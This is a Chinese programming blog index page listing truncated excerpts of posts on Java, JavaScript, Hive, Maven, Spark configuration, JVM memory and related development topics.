  • JS微信分享 AILIKES js
    // 所有功能必须包含在 WeixinApi.ready 中进行    WeixinApi.ready(function(Api) {        // 微信分享的数据            var wxData = {       &nb
  • 封装探讨 百合不是茶 JAVA面向对象 封装
    //封装   属性 方法 将某些东西包装在一起，通过创建对象或使用静态的方法来调用，称为封装；封装其实就是有选择性地公开或隐藏某些信息，它解决了数据的安全性问题，增加代码的可读性和可维护性   在 Aname类中申明三个属性，将其封装在一个类中：通过对象来调用   例如   1： //属性 将其设为私有 姓名 name 可以公开
  • jquery radio/checkbox change事件不能触发的问题 bijian1013 JavaScriptjquery
    我想让radio来控制当前我选择的是机动车还是特种车，如下所示：  <html> <head> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js" type="text/javascript"><
  • AngularJS中安全性措施 bijian1013 JavaScriptAngularJS安全性XSRFJSON漏洞
            在使用web应用中，安全性是应该首要考虑的一个问题。AngularJS提供了一些辅助机制，用来防护来自两个常见攻击方向的网络攻击。 一.JSON漏洞         当使用一个GET请求获取JSON数组信息的时候（尤其是当这一信息非常敏感，
  • [Maven学习笔记九]Maven发布web项目 bit1129 maven
    基于Maven的web项目的标准项目结构 user-project     user-core     user-service     user-web        src      
  • 【Hive七】Hive用户自定义聚合函数(UDAF) bit1129 hive
    用户自定义聚合函数，用户提供的多个入参通过聚合计算(求和、求最大值、求最小值)得到一个聚合计算结果的函数。 问题：UDF也可以提供输入多个参数然后输出一个结果的运算，比如加法运算add(3，5)，add这个UDF需要实现UDF的evaluate方法,那么UDF和UDAF的实质分别究竟是什么？   Double evaluate(Double a, Double b)  
  • 通过 nginx-lua 给 Nginx 增加 OAuth 支持 ronin47
    前言：我们使用Nginx的Lua中间件建立了OAuth2认证和授权层。如果你也有此打算，阅读下面的文档，实现自动化并获得收益。SeatGeek 在过去几年中取得了发展，我们已经积累了不少针对各种任务的不同管理接口。我们通常为新的展示需求创建新模块，比如我们自己的博客、图表等。我们还定期开发内部工具来处理诸如部署、可视化操作及事件处理等事务。在处理这些事务中，我们使用了几个不同的接口来认证： &n
  • 利用tomcat-redis-session-manager做session同步时自定义类对象属性保存不上的解决方法 bsr1983 session
    在利用tomcat-redis-session-manager做session同步时，遇到了在session保存一个自定义对象时，修改该对象中的某个属性，session未进行序列化，属性没有被存储到redis中。 在 tomcat-redis-session-manager的github上有如下说明： Session Change Tracking As noted in the &qu
  • 《代码大全》表驱动法-Table Driven Approach-1 bylijinnan java算法
    关于Table Driven Approach的一篇非常好的文章： http://www.codeproject.com/Articles/42732/Table-driven-Approach package com.ljn.base; import java.util.Random; public class TableDriven { public
  • Sybase封锁原理 chicony Sybase
           昨天在操作Sybase IQ12.7时意外操作造成了数据库表锁定，不能删除被锁定表数据也不能往其中写入数据。由于着急往该表抽入数据，因此立马着手解决该表的解锁问题。     无奈此前没有接触过Sybase IQ12.7这套数据库产品，加之当时已属于下班时间无法求助于支持人员支持，因此只有借助搜索引擎强大的
  • java异常处理机制 CrazyMizzz java
    java异常关键字有以下几个，分别为 try catch final throw throws 他们的定义分别为 try：    Opening exception-handling statement. catch：  Captures the exception. finally： Runs its code before terminating
  • hive 数据插入DML语法汇总 daizj hiveDML数据插入
    Hive的数据插入DML语法汇总1、Loading files into tables语法：1) LOAD DATA [LOCAL] INPATH 'filepath' [OVERWRITE] INTO TABLE tablename [PARTITION (partcol1=val1, partcol2=val2 ...)]解释：1)、上面命令执行环境为hive客户端环境下： hive>l
  • 工厂设计模式 dcj3sjt126com 设计模式
      使用设计模式是促进最佳实践和良好设计的好办法。设计模式可以提供针对常见的编程问题的灵活的解决方案。 工厂模式 工厂模式（Factory）允许你在代码执行时实例化对象。它之所以被称为工厂模式是因为它负责“生产”对象。工厂方法的参数是你要生成的对象对应的类名称。 Example #1 调用工厂方法（带参数） <?phpclass Example{ 
  • mysql字符串查找函数 dcj3sjt126com mysql
      FIND_IN_SET(str,strlist) 假如字符串str 在由N 子链组成的字符串列表strlist 中，则返回值的范围在1到 N 之间。一个字符串列表就是一个由一些被‘,’符号分开的自链组成的字符串。如果第一个参数是一个常数字符串，而第二个是type SET列，则   FIND_IN_SET() 函数被优化，使用比特计算。如果str不在strlist 或st
  • jvm内存管理 easterfly jvm
    一、JVM堆内存的划分 分为年轻代和年老代。年轻代又分为三部分：一个eden,两个survivor。 工作过程是这样的：e区空间满了后，执行minor gc，存活下来的对象放入s0, 对s0仍会进行minor gc，存活下来的的对象放入s1中，对s1同样执行minor gc，依旧存活的对象就放入年老代中； 年老代满了之后会执行major gc，这个是stop the word模式，执行
  • CentOS-6.3安装配置JDK-8 gengzg centos
    JAVA_HOME=/usr/java/jdk1.8.0_45 JRE_HOME=/usr/java/jdk1.8.0_45/jre PATH=$PATH:$JAVA_HOME/bin:$JRE_HOME/bin CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib export JAVA_HOME
  • 【转】关于web路径的获取方法 huangyc1210 Web路径
    假定你的web application 名称为news,你在浏览器中输入请求路径：  http://localhost:8080/news/main/list.jsp  则执行下面向行代码后打印出如下结果：  1、 System.out.println(request.getContextPath()); //可返回站点的根路径。也就是项
  • php里获取第一个中文首字母并排序 远去的渡口 数据结构PHP
    很久没来更新博客了，还是觉得工作需要多总结的好。今天来更新一个自己认为比较有成就的问题吧。 最近在做储值结算，需求里结算首页需要按门店的首字母A-Z排序。我的数据结构原本是这样的： Array ( [0] => Array ( [sid] => 2885842 [recetcstoredpay] =&g
  • java内部类 hm4123660 java内部类匿名内部类成员内部类方法内部类
         　在Java中，可以将一个类定义在另一个类里面或者一个方法里面，这样的类称为内部类。内部类仍然是一个独立的类，在编译之后内部类会被编译成独立的.class文件，但是前面冠以外部类的类名和$符号。内部类可以间接解决多继承问题,可以使用内部类继承一个类，外部类继承一个类，实现多继承。      &nb
  • Caused by: java.lang.IncompatibleClassChangeError: class org.hibernate.cfg.Exten zhb8015
    maven pom.xml关于hibernate的配置和异常信息如下，查了好多资料，问题还是没有解决。只知道是包冲突，就是不知道是哪个包....遇到这个问题的分享下是怎么解决的。。   maven pom:   <dependency> <groupId>org.hibernate</groupId> <ar
  • Spark 性能相关参数配置详解－任务调度篇 Stark_Summer sparkcachecpu任务调度yarn
    随着Spark的逐渐成熟完善, 越来越多的可配置参数被添加到Spark中来, 本文试图通过阐述这其中部分参数的工作原理和配置思路, 和大家一起探讨一下如何根据实际场合对Spark进行配置优化。   由于篇幅较长，所以在这里分篇组织，如果要看最新完整的网页版内容，可以戳这里：http://spark-config.readthedocs.org/，主要是便
  • css3滤镜 wangkeheng htmlcss
    经常看到一些网站的底部有一些灰色的图标，鼠标移入的时候会变亮，开始以为是js操作src或者bg呢，搜索了一下，发现了一个更好的方法：通过css3的滤镜方法。 html代码： <a href='' class='icon'><img src='utv.jpg' /></a> css代码： .icon{-webkit-filter: graysc
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他